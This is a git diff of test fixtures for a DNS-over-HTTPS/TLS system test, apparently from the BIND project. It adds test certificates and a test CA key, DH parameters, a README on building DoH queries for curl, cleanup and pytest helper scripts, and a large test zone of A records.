+djEkMCIGA1UECgwbSW50ZXJuZXQgU3lzdGVtcyBDb25zb3J0aXVtMRwwGgYDVQQD
+DBNjYS50ZXN0LmV4YW1wbGUuY29tMCAXDTIyMDIxMDE3NDQyMFoYDzIwNTIwMjAz
+MTc0NDIwWjAlMSMwIQYDVQQDDBpzcnYwMS5jbGllbnQwMS5leGFtcGxlLmNvbTB2
+MBAGByqGSM49AgEGBSuBBAAiA2IABF6TanradcxkCOT4+S8rhTbu4d/6zUxg8US1
+Fnv5A8+gCGdvriejlYpoHmOrzy4gYlLnjD4e794NaWRltuTf/hpI+Gh1hIMR+4FZ
+DsGWSH8k2hHdrMsKxQl4JDE63zfms6MpMCcwJQYDVR0RBB4wHIIac3J2MDEuY2xp
+ZW50MDEuZXhhbXBsZS5jb20wDQYJKoZIhvcNAQELBQADggGBAIK9649OpdJGx9hw
+PDQdWEMbgRZdwrB2S6nyEBQj5O/cWQO2f7BANOXQgkuVpgeaRVGUzwjCTslE1fO2
+7fKgAZSt4A4Pq4VvNUsHyJcl+2n/oZm87HBsUbUylenJRc9F4sVesVmi4fKDyIdo
+xGDi21BsGGQbmprMfOf92fK30d4d7CnJWNt7mqEGms42oEUQ3H2BJCE0MExx+fyW
+N9bPDZ0REsdivBlbeeXgN+gXNksTr/osLjbZvlPhw/m8lKZ6lxSZNvkUOBEgOiqd
+/WRj0KKP8JmpAspXSNJ9ZUS2haA47OgZfsJI4x0iU8871AqY4XJi7IsBP1rqJiyM
+FsOAWsJdQMVlHOKa49ZlFu7cFzDYJoeS0O/HcgeZhgWeSTVBM7m7yxslUHCF4w/H
+ubI3ABuHokeXNFvN3GYi5d4l7Ff+N3UsAxD01KfM9UsL/+vTpnguzY9lUaeM74Nn
+7JQTwh90dFV8owu3L4BaYgQdosDB3rJ9MTuh+vdAp70SJZVbiw==
+-----END CERTIFICATE-----
diff --git a/bin/tests/system/doth/CA/newcerts/6BB3183CDEF52008.pem b/bin/tests/system/doth/CA/newcerts/6BB3183CDEF52008.pem
new file mode 100644
index 0000000000..1b43bbd293
--- /dev/null
+++ b/bin/tests/system/doth/CA/newcerts/6BB3183CDEF52008.pem
@@ -0,0 +1,68 @@
+Certificate:
+    Data:
+        Version: 3 (0x2)
+        Serial Number: 7760573232607207432 (0x6bb3183cdef52008)
+        Signature Algorithm: sha256WithRSAEncryption
+        Issuer: C=UA, ST=Kharkiv Oblast', L=Kharkiv, O=Internet Systems Consortium, CN=ca.test.example.com
+        Validity
+            Not Before: Feb 11 13:21:12 2022 GMT
+            Not After : Feb  4 13:21:12 2052 GMT
+        Subject: CN=srv01.client02-ns2.example.com
+        Subject Public Key Info:
+            Public Key Algorithm: id-ecPublicKey
+                Public-Key: (384 bit)
+                pub:
+                    04:e6:45:fa:57:12:6c:59:10:23:8b:7a:5c:76:33:
+                    eb:3b:41:fa:b7:1c:90:b3:2f:33:2d:45:7b:e3:e5:
+                    b6:a5:a2:a2:a4:14:f4:50:9d:b0:c6:38:ba:e9:45:
+                    65:a4:65:b9:10:32:2f:93:9b:d5:d8:cf:b4:29:5b:
+                    dc:4e:c8:ec:a6:9f:58:76:24:f4:c5:d1:48:55:52:
+                    eb:5d:b0:85:93:85:ee:3e:b8:c4:b1:cd:08:59:95:
+                    12:ff:7b:9b:ee:6a:b9
+                ASN1 OID: secp384r1
+                NIST CURVE: P-384
+        X509v3 extensions:
+            X509v3 Subject Alternative Name:
+                DNS:srv01.client02-ns2.example.com
+    Signature Algorithm: sha256WithRSAEncryption
+         43:ec:0f:62:17:f6:f4:90:3b:7c:36:21:f2:18:94:a6:42:51:
+         1e:1d:2a:43:8f:05:b7:8d:3c:ca:f0:20:2f:65:4b:be:48:ad:
+         6a:0a:cc:2d:1f:d6:27:1d:af:4a:36:86:ed:0d:03:75:c5:71:
+         ec:58:9b:ec:f9:0f:e4:83:ef:6f:91:da:20:73:47:ac:e7:c7:
+         8b:22:b2:d1:6e:a0:b0:d6:1c:4c:70:1e:74:08:1d:7f:61:06:
+         e5:be:f3:e8:c4:15:60:e2:b0:02:9b:f0:13:af:76:5b:a8:c7:
+         91:2c:10:5f:0d:32:89:51:5a:7f:17:1b:7c:c6:46:97:ee:e7:
+         bb:8a:48:38:a2:52:d4:ff:3b:1c:ec:4a:a9:8c:a5:23:3a:04:
+         bb:d7:b8:ad:5b:69:7f:1d:be:ca:96:e0:eb:56:05:43:ee:c8:
+         ff:2c:48:03:00:c6:c2:ac:fc:4e:15:47:86:c5:33:ed:70:f6:
+         98:bc:0b:07:b9:5b:1a:ec:fd:3c:bf:26:61:68:fc:db:02:55:
+         07:ae:76:0e:be:ff:c5:b8:56:fb:52:54:a4:b1:2d:64:b4:1d:
+         55:02:4f:da:06:bd:26:e4:22:d2:94:1f:7e:29:c4:97:10:d1:
+         75:7d:41:53:be:46:52:70:b1:d9:ff:bb:9f:96:19:e3:a0:ba:
+         d0:4a:5a:8d:da:22:73:89:f0:4c:e6:18:80:53:be:bd:64:56:
+         6a:c9:58:71:40:66:9e:4a:3e:31:3b:74:9e:6e:6a:f5:65:ca:
+         93:06:52:00:74:65:a0:3a:eb:2e:56:56:d2:a5:4b:0e:85:17:
+         25:78:cb:f3:f9:53:7b:85:f9:82:15:87:bc:36:70:b5:69:64:
+         48:11:79:b9:2c:2e:cc:09:fd:0f:b0:b7:cd:97:3b:c7:0f:49:
+         1a:fc:15:49:d6:1c:a9:dc:14:ff:44:d2:be:5a:36:00:66:0c:
+         d5:b8:bf:16:9e:60:27:79:c0:f5:b4:ff:2f:af:8c:b2:49:75:
+         61:44:05:1a:e8:cd
+-----BEGIN CERTIFICATE-----
+MIIDKTCCAZGgAwIBAgIIa7MYPN71IAgwDQYJKoZIhvcNAQELBQAwfTELMAkGA1UE
+BhMCVUExGDAWBgNVBAgMD0toYXJraXYgT2JsYXN0JzEQMA4GA1UEBwwHS2hhcmtp
+djEkMCIGA1UECgwbSW50ZXJuZXQgU3lzdGVtcyBDb25zb3J0aXVtMRwwGgYDVQQD
+DBNjYS50ZXN0LmV4YW1wbGUuY29tMCAXDTIyMDIxMTEzMjExMloYDzIwNTIwMjA0
+MTMyMTEyWjApMScwJQYDVQQDDB5zcnYwMS5jbGllbnQwMi1uczIuZXhhbXBsZS5j
+b20wdjAQBgcqhkjOPQIBBgUrgQQAIgNiAATmRfpXEmxZECOLelx2M+s7Qfq3HJCz
+LzMtRXvj5baloqKkFPRQnbDGOLrpRWWkZbkQMi+Tm9XYz7QpW9xOyOymn1h2JPTF
+0UhVUutdsIWThe4+uMSxzQhZlRL/e5vuarmjLTArMCkGA1UdEQQiMCCCHnNydjAx
+LmNsaWVudDAyLW5zMi5leGFtcGxlLmNvbTANBgkqhkiG9w0BAQsFAAOCAYEAQ+wP
+Yhf29JA7fDYh8hiUpkJRHh0qQ48Ft408yvAgL2VLvkitagrMLR/WJx2vSjaG7Q0D
+dcVx7Fib7PkP5IPvb5HaIHNHrOfHiyKy0W6gsNYcTHAedAgdf2EG5b7z6MQVYOKw
+ApvwE692W6jHkSwQXw0yiVFafxcbfMZGl+7nu4pIOKJS1P87HOxKqYylIzoEu9e4
+rVtpfx2+ypbg61YFQ+7I/yxIAwDGwqz8ThVHhsUz7XD2mLwLB7lbGuz9PL8mYWj8
+2wJVB652Dr7/xbhW+1JUpLEtZLQdVQJP2ga9JuQi0pQffinElxDRdX1BU75GUnCx
+2f+7n5YZ46C60Epajdoic4nwTOYYgFO+vWRWaslYcUBmnko+MTt0nm5q9WXKkwZS
+AHRloDrrLlZW0qVLDoUXJXjL8/lTe4X5ghWHvDZwtWlkSBF5uSwuzAn9D7C3zZc7
+xw9JGvwVSdYcqdwU/0TSvlo2AGYM1bi/Fp5gJ3nA9bT/L6+Mskl1YUQFGujN
+-----END CERTIFICATE-----
diff --git a/bin/tests/system/doth/CA/newcerts/6BB3183CDEF52009.pem b/bin/tests/system/doth/CA/newcerts/6BB3183CDEF52009.pem
new file mode 100644
index 0000000000..99e4a71e33
--- /dev/null
+++ b/bin/tests/system/doth/CA/newcerts/6BB3183CDEF52009.pem
@@ -0,0 +1,69 @@
+Certificate:
+    Data:
+        Version: 3 (0x2)
+        Serial Number: 7760573232607207433 (0x6bb3183cdef52009)
+        Signature Algorithm: sha256WithRSAEncryption
+        Issuer: C=UA, ST=Kharkiv Oblast', L=Kharkiv, O=Internet Systems Consortium, CN=ca.test.example.com
+        Validity
+            Not Before: Aug 14 05:00:00 2012 GMT
+            Not After : Aug 14 06:00:00 2012 GMT
+        Subject: CN=srv01.client03-ns2-expired.example.com
+        Subject Public Key Info:
+            Public Key Algorithm: id-ecPublicKey
+                Public-Key: (384 bit)
+                pub:
+                    04:38:9a:9b:c2:6a:82:a6:d1:50:8a:78:7a:d1:be:
+                    61:be:d4:b6:d3:d6:a2:02:97:a4:48:50:c0:c5:1d:
+                    d8:2d:23:19:25:6e:91:02:1d:69:c2:77:d6:f1:a8:
+                    4f:4a:9a:1d:3c:69:5a:89:41:0a:f2:e0:64:57:1b:
+                    0e:9e:df:9f:4c:7b:3c:42:dc:21:c8:2c:95:ab:b3:
+                    4c:5f:56:c4:70:ee:8a:a4:e4:46:c4:9e:98:f5:c8:
+                    7b:b2:73:d7:45:93:f0
+                ASN1 OID: secp384r1
+                NIST CURVE: P-384
+        X509v3 extensions:
+            X509v3 Subject Alternative Name:
+                DNS:srv01.client03-ns2-expired.example.com
+    Signature Algorithm: sha256WithRSAEncryption
+         38:12:1f:5f:26:b6:8e:9b:3f:77:89:5a:b8:e8:46:78:c3:d6:
+         f0:0c:67:5f:d5:a3:9c:f6:f2:0a:ae:9c:87:74:9f:a3:5b:8a:
+         27:58:47:e5:78:1a:e9:db:b5:cc:28:a7:f8:18:e3:e7:20:43:
+         cf:82:06:5d:a1:d0:82:ab:15:be:86:46:1e:e6:4d:ad:78:a4:
+         16:6c:99:41:3d:29:21:c8:6b:9d:3d:4a:cd:93:37:1f:1c:88:
+         c7:ae:b6:7c:73:42:57:57:32:9d:e8:c6:e2:3e:da:12:57:3e:
+         c8:56:4a:bb:d4:01:fc:8e:30:8d:19:fe:61:3d:5e:02:64:65:
+         a2:46:b3:6e:ea:f9:cb:4e:f0:b9:f6:bc:6b:38:10:19:d0:93:
+         f8:f7:d9:4c:d2:87:2c:7f:dc:f5:00:c6:29:dd:00:5e:d2:f4:
+         df:52:fb:7a:5a:ad:98:36:77:72:1f:01:ed:48:91:48:16:2d:
+         35:a5:15:21:98:ff:7e:5d:a1:45:c9:5f:9d:c2:3e:e5:98:e2:
+         ee:ce:4d:18:76:3d:8a:0a:64:9b:f1:19:9d:b6:82:af:1b:15:
+         d3:48:69:f1:9b:67:76:1b:41:8e:1d:69:d5:31:64:95:01:41:
+         73:c1:a9:29:53:6b:f3:29:ad:e0:96:52:8e:3e:8d:c1:8e:d8:
+         b5:0c:94:5f:a2:6c:3c:0f:3e:5b:10:af:21:00:74:d0:b7:30:
+         6c:44:fb:3d:09:46:8d:1d:e6:c2:e4:0a:5b:f4:eb:e1:71:c7:
+         d5:36:13:90:05:fe:65:16:61:24:b5:41:f2:10:bd:2c:c3:34:
+         69:15:25:d1:32:f2:b3:d7:da:23:1b:e9:5b:33:63:43:c8:dc:
+         68:f2:31:b5:93:0e:64:ea:9a:45:36:9f:96:44:38:1e:4e:d8:
+         45:ba:37:68:06:4d:da:d4:16:d3:3e:77:86:4e:8d:58:d6:06:
+         a8:60:11:4d:d9:81:f3:85:2b:ee:58:50:6e:ea:2b:f7:84:00:
+         9c:ec:a1:90:d4:94
+-----BEGIN CERTIFICATE-----
+MIIDNzCCAZ+gAwIBAgIIa7MYPN71IAkwDQYJKoZIhvcNAQELBQAwfTELMAkGA1UE
+BhMCVUExGDAWBgNVBAgMD0toYXJraXYgT2JsYXN0JzEQMA4GA1UEBwwHS2hhcmtp
+djEkMCIGA1UECgwbSW50ZXJuZXQgU3lzdGVtcyBDb25zb3J0aXVtMRwwGgYDVQQD
+DBNjYS50ZXN0LmV4YW1wbGUuY29tMB4XDTEyMDgxNDA1MDAwMFoXDTEyMDgxNDA2
+MDAwMFowMTEvMC0GA1UEAwwmc3J2MDEuY2xpZW50MDMtbnMyLWV4cGlyZWQuZXhh
+bXBsZS5jb20wdjAQBgcqhkjOPQIBBgUrgQQAIgNiAAQ4mpvCaoKm0VCKeHrRvmG+
+1LbT1qICl6RIUMDFHdgtIxklbpECHWnCd9bxqE9Kmh08aVqJQQry4GRXGw6e359M
+ezxC3CHILJWrs0xfVsRw7oqk5EbEnpj1yHuyc9dFk/CjNTAzMDEGA1UdEQQqMCiC
+JnNydjAxLmNsaWVudDAzLW5zMi1leHBpcmVkLmV4YW1wbGUuY29tMA0GCSqGSIb3
+DQEBCwUAA4IBgQA4Eh9fJraOmz93iVq46EZ4w9bwDGdf1aOc9vIKrpyHdJ+jW4on
+WEfleBrp27XMKKf4GOPnIEPPggZdodCCqxW+hkYe5k2teKQWbJlBPSkhyGudPUrN
+kzcfHIjHrrZ8c0JXVzKd6MbiPtoSVz7IVkq71AH8jjCNGf5hPV4CZGWiRrNu6vnL
+TvC59rxrOBAZ0JP499lM0ocsf9z1AMYp3QBe0vTfUvt6Wq2YNndyHwHtSJFIFi01
+pRUhmP9+XaFFyV+dwj7lmOLuzk0Ydj2KCmSb8RmdtoKvGxXTSGnxm2d2G0GOHWnV
+MWSVAUFzwakpU2vzKa3gllKOPo3Bjti1DJRfomw8Dz5bEK8hAHTQtzBsRPs9CUaN
+HebC5Apb9OvhccfVNhOQBf5lFmEktUHyEL0swzRpFSXRMvKz19ojG+lbM2NDyNxo
+8jG1kw5k6ppFNp+WRDgeTthFujdoBk3a1BbTPneGTo1Y1gaoYBFN2YHzhSvuWFBu
+6iv3hACc7KGQ1JQ=
+-----END CERTIFICATE-----
diff --git a/bin/tests/system/doth/CA/private/CA.key b/bin/tests/system/doth/CA/private/CA.key
new file mode 100644
index 0000000000..2d5419d89a
--- /dev/null
+++ b/bin/tests/system/doth/CA/private/CA.key
@@ -0,0 +1,39 @@
+-----BEGIN RSA PRIVATE KEY-----
+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
+-----END RSA PRIVATE KEY-----
diff --git a/bin/tests/system/doth/CA/serial b/bin/tests/system/doth/CA/serial
new file mode 100644
index 0000000000..a20b06826d
--- /dev/null
+++ b/bin/tests/system/doth/CA/serial
@@ -0,0 +1 @@
+6BB3183CDEF5200A
diff --git a/bin/tests/system/doth/README.curl b/bin/tests/system/doth/README.curl
new file mode 100644
index 0000000000..475f20f53a
--- /dev/null
+++ b/bin/tests/system/doth/README.curl
@@ -0,0 +1,38 @@
+<!--
+Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+
+SPDX-License-Identifier: MPL-2.0
+
+This Source Code Form is subject to the terms of the Mozilla Public
+License, v. 2.0.  If a copy of the MPL was not distributed with this
+file, you can obtain one at https://mozilla.org/MPL/2.0/.
+
+See the COPYRIGHT file distributed with this work for additional
+information regarding copyright ownership.
+-->
+
+DoH query values that can be passed on the command line for testing
+with curl can be obtained by encoding binary DNS messages into
+base64url, with trailing '='s removed.
+
+For example:
+
+$ perl bin/tests/system/fromhex.pl << EOF | base64url
+    # Transaction ID
+    0001
+    # Standard query
+    0000
+    # Questions: 1, Additional: 0
+    0001 0000 0000 0000
+    # QNAME: example
+    07 6578616d706c65 00
+    # Type: SOA
+    0006
+    Class: IN
+    0001
+EOF
+
+This produces the string "AAEAAAABAAAAAAAAB2V4YW1wbGUAAAbFrMonAAE=". With
+the trailing '=' removed, this can then be passed to curl:
+
+curl "https://<server>/dns-query?dns=AAEAAAABAAAAAAAAB2V4YW1wbGUAAAbFrMonAAE"
diff --git a/bin/tests/system/doth/clean.sh b/bin/tests/system/doth/clean.sh
index 3f86885245..c81c6a1bdc 100644
--- a/bin/tests/system/doth/clean.sh
+++ b/bin/tests/system/doth/clean.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -18,4 +20,7 @@ rm -f ./*/named.memstats
 rm -f ./*/named.run
 rm -f ./*/named.run.prev
 rm -f ./dig.out.*
-rm -f ./*/example.db
+rm -f ./gnutls-cli.*
+rm -f ./sslyze.log.*
+rm -f ./*/example*.db
+rm -rf ./headers.*
diff --git a/bin/tests/system/doth/conftest.py b/bin/tests/system/doth/conftest.py
new file mode 100644
index 0000000000..813be146f4
--- /dev/null
+++ b/bin/tests/system/doth/conftest.py
@@ -0,0 +1,47 @@
+#!/usr/bin/python3
+
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+import shutil
+import subprocess
+
+import pytest
+
+
+@pytest.fixture
+def gnutls_cli_executable():
+    # Ensure gnutls-cli is available.
+    executable = shutil.which("gnutls-cli")
+    if not executable:
+        pytest.skip("gnutls-cli not found in PATH")
+
+    # Ensure gnutls-cli supports the --logfile command-line option.
+    output = subprocess.run(
+        [executable, "--logfile=/dev/null"],
+        stdout=subprocess.PIPE,
+        stderr=subprocess.STDOUT,
+        check=False,
+    ).stdout
+    if b"illegal option" in output:
+        pytest.skip("gnutls-cli does not support the --logfile option")
+
+    return executable
+
+
+@pytest.fixture
+def sslyze_executable():
+    # Check whether sslyze is available.
+    executable = shutil.which("sslyze")
+    if not executable:
+        pytest.skip("sslyze not found in PATH")
+
+    return executable
diff --git a/bin/tests/system/doth/dhparam3072.pem b/bin/tests/system/doth/dhparam3072.pem
new file mode 100644
index 0000000000..9c2e0aa42b
--- /dev/null
+++ b/bin/tests/system/doth/dhparam3072.pem
@@ -0,0 +1,11 @@
+-----BEGIN DH PARAMETERS-----
+MIIBiAKCAYEA5D/Oioe+G+EMf/9RVxmcV4rZAtqZpVTFHcX0ZulvdiQGCQmopm6K
+3+0uoU2J6WVMjhna5nHD2NO9miRDI/jIxX9g9k6PedSB4o3fSTtkAnGtUbB8S+Ab
+EHtWfd7FTES8P1n16HN7BfPXVbP8zTcK+jO63KdQoxueYoETcrw0Myi9Lm8ri8os
+O4oQ+XAH7GzZ60bcYV9jge0XIRUGVnYZDjWMlnwMvZyjLivxKXTC9HPNA6FF1/0H
+0LPhsfjdoLNsVHFzfQz7QELMfHbTd0C8y0UMDQw9FqUp0esHZ5gsTlqnDHp2ZHoR
+JDfNl4yVO5Gv4HiFJ0NSdggefhESU3FRAOhMmUkctOCxk5hyPqGMsvofOajY2MBp
+eCffrKuAU6/dGUeq8inwrZlAMIZ20WyskHmbHnc4DXo2Uo6xSZo3xyEq1ofXXwTZ
+vPw4e12so3RJAT2a8UsHf7DG1tH+9ke7HCAJQWxUizRFRsMi1Nl/7ikS4f3zgIbX
+GKz9+uk5eS6jAgEC
+-----END DH PARAMETERS-----
diff --git a/bin/tests/system/doth/example.axfr.good b/bin/tests/system/doth/example.axfr.good
index 2d610c6634..539e58bfef 100644
--- a/bin/tests/system/doth/example.axfr.good
+++ b/bin/tests/system/doth/example.axfr.good
@@ -23,6 +23,2506 @@ atma02.example.		3600	IN	ATMA	+61200000000
 atma03.example.		3600	IN	ATMA	1234567890abcdef
 atma04.example.		3600	IN	ATMA	fedcba0987654321
 avc.example.		3600	IN	AVC	"foo:bar"
+biganswer.example.	3600	IN	A	10.10.1.1
+biganswer.example.	3600	IN	A	10.10.1.2
+biganswer.example.	3600	IN	A	10.10.1.3
+biganswer.example.	3600	IN	A	10.10.1.4
+biganswer.example.	3600	IN	A	10.10.1.5
+biganswer.example.	3600	IN	A	10.10.1.6
+biganswer.example.	3600	IN	A	10.10.1.7
+biganswer.example.	3600	IN	A	10.10.1.8
+biganswer.example.	3600	IN	A	10.10.1.9
+biganswer.example.	3600	IN	A	10.10.1.10
+biganswer.example.	3600	IN	A	10.10.1.11
+biganswer.example.	3600	IN	A	10.10.1.12
+biganswer.example.	3600	IN	A	10.10.1.13
+biganswer.example.	3600	IN	A	10.10.1.14
+biganswer.example.	3600	IN	A	10.10.1.15
+biganswer.example.	3600	IN	A	10.10.1.16
+biganswer.example.	3600	IN	A	10.10.1.17
+biganswer.example.	3600	IN	A	10.10.1.18
+biganswer.example.	3600	IN	A	10.10.1.19
+biganswer.example.	3600	IN	A	10.10.1.20
+biganswer.example.	3600	IN	A	10.10.1.21
+biganswer.example.	3600	IN	A	10.10.1.22
+biganswer.example.	3600	IN	A	10.10.1.23
+biganswer.example.	3600	IN	A	10.10.1.24
+biganswer.example.	3600	IN	A	10.10.1.25
+biganswer.example.	3600	IN	A	10.10.1.26
+biganswer.example.	3600	IN	A	10.10.1.27
+biganswer.example.	3600	IN	A	10.10.1.28
+biganswer.example.	3600	IN	A	10.10.1.29
+biganswer.example.	3600	IN	A	10.10.1.30
+biganswer.example.	3600	IN	A	10.10.1.31
+biganswer.example.	3600	IN	A	10.10.1.32
+biganswer.example.	3600	IN	A	10.10.1.33
+biganswer.example.	3600	IN	A	10.10.1.34
+biganswer.example.	3600	IN	A	10.10.1.35
+biganswer.example.	3600	IN	A	10.10.1.36
+biganswer.example.	3600	IN	A	10.10.1.37
+biganswer.example.	3600	IN	A	10.10.1.38
+biganswer.example.	3600	IN	A	10.10.1.39
+biganswer.example.	3600	IN	A	10.10.1.40
+biganswer.example.	3600	IN	A	10.10.1.41
+biganswer.example.	3600	IN	A	10.10.1.42
+biganswer.example.	3600	IN	A	10.10.1.43
+biganswer.example.	3600	IN	A	10.10.1.44
+biganswer.example.	3600	IN	A	10.10.1.45
+biganswer.example.	3600	IN	A	10.10.1.46
+biganswer.example.	3600	IN	A	10.10.1.47
+biganswer.example.	3600	IN	A	10.10.1.48
+biganswer.example.	3600	IN	A	10.10.1.49
+biganswer.example.	3600	IN	A	10.10.1.50
+biganswer.example.	3600	IN	A	10.10.2.1
+biganswer.example.	3600	IN	A	10.10.2.2
+biganswer.example.	3600	IN	A	10.10.2.3
+biganswer.example.	3600	IN	A	10.10.2.4
+biganswer.example.	3600	IN	A	10.10.2.5
+biganswer.example.	3600	IN	A	10.10.2.6
+biganswer.example.	3600	IN	A	10.10.2.7
+biganswer.example.	3600	IN	A	10.10.2.8
+biganswer.example.	3600	IN	A	10.10.2.9
+biganswer.example.	3600	IN	A	10.10.2.10
+biganswer.example.	3600	IN	A	10.10.2.11
+biganswer.example.	3600	IN	A	10.10.2.12
+biganswer.example.	3600	IN	A	10.10.2.13
+biganswer.example.	3600	IN	A	10.10.2.14
+biganswer.example.	3600	IN	A	10.10.2.15
+biganswer.example.	3600	IN	A	10.10.2.16
+biganswer.example.	3600	IN	A	10.10.2.17
+biganswer.example.	3600	IN	A	10.10.2.18
+biganswer.example.	3600	IN	A	10.10.2.19
+biganswer.example.	3600	IN	A	10.10.2.20
+biganswer.example.	3600	IN	A	10.10.2.21
+biganswer.example.	3600	IN	A	10.10.2.22
+biganswer.example.	3600	IN	A	10.10.2.23
+biganswer.example.	3600	IN	A	10.10.2.24
+biganswer.example.	3600	IN	A	10.10.2.25
+biganswer.example.	3600	IN	A	10.10.2.26
+biganswer.example.	3600	IN	A	10.10.2.27
+biganswer.example.	3600	IN	A	10.10.2.28
+biganswer.example.	3600	IN	A	10.10.2.29
+biganswer.example.	3600	IN	A	10.10.2.30
+biganswer.example.	3600	IN	A	10.10.2.31
+biganswer.example.	3600	IN	A	10.10.2.32
+biganswer.example.	3600	IN	A	10.10.2.33
+biganswer.example.	3600	IN	A	10.10.2.34
+biganswer.example.	3600	IN	A	10.10.2.35
+biganswer.example.	3600	IN	A	10.10.2.36
+biganswer.example.	3600	IN	A	10.10.2.37
+biganswer.example.	3600	IN	A	10.10.2.38
+biganswer.example.	3600	IN	A	10.10.2.39
+biganswer.example.	3600	IN	A	10.10.2.40
+biganswer.example.	3600	IN	A	10.10.2.41
+biganswer.example.	3600	IN	A	10.10.2.42
+biganswer.example.	3600	IN	A	10.10.2.43
+biganswer.example.	3600	IN	A	10.10.2.44
+biganswer.example.	3600	IN	A	10.10.2.45
+biganswer.example.	3600	IN	A	10.10.2.46
+biganswer.example.	3600	IN	A	10.10.2.47
+biganswer.example.	3600	IN	A	10.10.2.48
+biganswer.example.	3600	IN	A	10.10.2.49
+biganswer.example.	3600	IN	A	10.10.2.50
+biganswer.example.	3600	IN	A	10.10.3.1
+biganswer.example.	3600	IN	A	10.10.3.2
+biganswer.example.	3600	IN	A	10.10.3.3
+biganswer.example.	3600	IN	A	10.10.3.4
+biganswer.example.	3600	IN	A	10.10.3.5
+biganswer.example.	3600	IN	A	10.10.3.6
+biganswer.example.	3600	IN	A	10.10.3.7
+biganswer.example.	3600	IN	A	10.10.3.8
